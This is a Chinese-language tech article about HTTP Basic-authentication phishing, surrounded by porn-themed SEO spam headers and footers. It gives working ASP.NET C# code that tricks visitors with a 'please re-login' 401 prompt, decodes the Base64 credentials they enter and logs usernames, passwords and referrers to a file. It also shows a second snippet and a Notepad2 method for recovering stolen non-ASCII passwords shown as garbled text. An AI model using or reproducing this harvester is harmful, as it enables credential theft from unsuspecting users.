成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

關于基礎驗證釣魚中文亂碼的解決方法

安全
最近基礎認證釣魚很火,不過亂碼始終是個問題。經測試后已實現的解決方法有兩種:手動分析Request頭;將亂碼轉換回正常的字符。

最近基礎認證釣魚很火,不過亂碼始終是個問題。經測試后已實現的解決方法有兩種:

手動分析Request頭

如果客戶端接受了WWW-AuThenticate驗證,則會在下一次連接中添加請求頭 Authorization,格式為:

[code]

Authorization: Basic Og==

[/code]

Basic代表應用基礎模式驗證,由服務端WWW-AuThenticate頭指定的驗證模式指定。由于我們需要獲取密碼,所以這里一定為Basic。

之后以一個空格作為分隔符,其余的內容為用戶名與密碼,加密方式為標準BASE64,格式為 用戶名:密碼。

(更多資料請參考rfc文檔。)

所以我們只需要判斷請求頭是否包含Authorization即可,如果沒有的話則輸出401返回頭要求輸入密碼。

一段簡單的C#代碼:

[code="csharp"] <%

string logpath=Server.MapPath("\\fuck.config");

string info="please re-login";

string imgpath=Server.MapPath("\\img.jpg");

if(Request.Headers["Authorization"]==null||Request.Headers["Authorization"].StartsWith("Basic Og==")){

Response.Status="401 Unauthorized";

Response.AddHeader("WWW-AuThenticate",string.Format("basic ,Realm=\"{0}\"",info));

}

else{

string referrer=(Request.UrlReferrer==null)?"":Request.UrlReferrer.ToString();

System.IO.File.AppendAllText(logpath,Encoding.Default.GetString(Convert.FromBase64String(Request.Headers["Authorization"].Remove(0,5).Trim()))+"|"+referrer+"\r\n");

if(System.IO.File.Exists(imgpath))Response.BinaryWrite(System.IO.File.ReadAllBytes(imgpath));

}

%> [/code]

#p#

將亂碼轉換回正常的字符

亂碼其實是西歐字符,在拓展ASCII中為0x7f-0xff,所以只需要轉換回去就行了。

不過要注意:直接轉換是不可能的。在中文操作系統中0x7f-0xff單個字節被認為是無效字符,轉換后只能輸出0x3f(?)。同時如果想將亂碼保存到文件中,則必須使用unicode等格式保存,這時亂碼將變為兩字節,轉換更加繁瑣。

經過嘗試可以使用以下C#代碼轉換,注意:必須在winform下編譯使用,webform下即使是相同的Unicode編碼也會轉換出不同的字節數組,從而導致無法轉換。

[code]

using System;

using System.Text;

using System.Windows.Forms;

using System.Collections.Generic;

public class Decript

{

public static void Main()

{

string s="D??μò???è?";

byte[] arrb = Encoding.Unicode.GetBytes(s);

List<byte> lb=new List<byte>();

foreach(byte b in arrb){if(b!=0)lb.Add(b);}

Console.WriteLine(Encoding.Default.GetString(lb.ToArray()));

}

}

[/code]

之后又找到更簡便的方法:用Notepad2建立一個unicode文檔,將亂碼粘貼進去,之后在編碼選擇任意ISO開頭的編碼,保存后即轉換完畢。

責任編輯:藍雨淚 來源: cunlide
相關推薦

2011-03-01 15:38:44

Fireftp亂碼

2009-09-07 18:40:28

PHP中文亂碼

2009-07-02 13:26:32

JSP中文亂碼

2012-03-21 10:16:31

JavaJSP

2010-07-15 14:01:12

telnet亂碼

2009-07-02 13:32:56

JSP中文亂碼

2010-10-13 17:22:12

MySQL查詢亂碼

2009-06-25 15:06:20

Javadoc亂碼

2010-05-14 17:27:40

MySQL中文亂碼

2011-06-14 13:41:27

muleWSDL

2009-07-01 18:14:36

JSP亂碼

2009-12-02 16:53:25

PHP發送郵件亂碼

2009-11-26 15:42:18

PHP函數mail()

2009-12-02 10:08:33

PHP mail()函

2009-12-04 16:49:38

PHP導出Excel亂

2011-09-06 16:04:59

Ubuntu

2017-08-02 15:51:24

PHP中文亂碼

2011-07-05 09:44:31

QT Mysql 亂碼

2011-12-02 14:00:21

JavaOOM

2010-06-09 09:39:42

Opensuse雙系統
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 日本中出视频 | 国产精品污www一区二区三区 | 免费视频久久久久 | 亚洲成人免费视频 | 日本成人中文字幕 | 午夜影院中文字幕 | 午夜免费福利影院 | 国产一区| 羞羞午夜 | 亚洲v区| 色妞av| 手机看片1 | av片免费观看 | 丝袜 亚洲 另类 欧美 综合 | 亚洲欧美日本国产 | 亚洲国产精品一区在线观看 | 九九热九九 | 二区三区视频 | 天天摸天天干 | 羞羞网站在线观看 | 久久久久国产一区二区三区四区 | 成人久久久 | 国产婷婷色一区二区三区 | 日韩中文字幕高清 | 日日综合 | 最新免费av网站 | 久久久久国产一区二区三区 | 91精品久久久久久久久 | 亚洲另类春色偷拍在线观看 | 午夜欧美一区二区三区在线播放 | 亚洲视频在线看 | 夜夜夜操| 精品久久免费 | 男女搞网站 | 黄久久久 | 午夜免费观看网站 | 国产精品久久久久久久久污网站 | 欧美一级高潮片免费的 | 久久伊 | 精品国产乱码久久久久久果冻传媒 | 91免费入口 |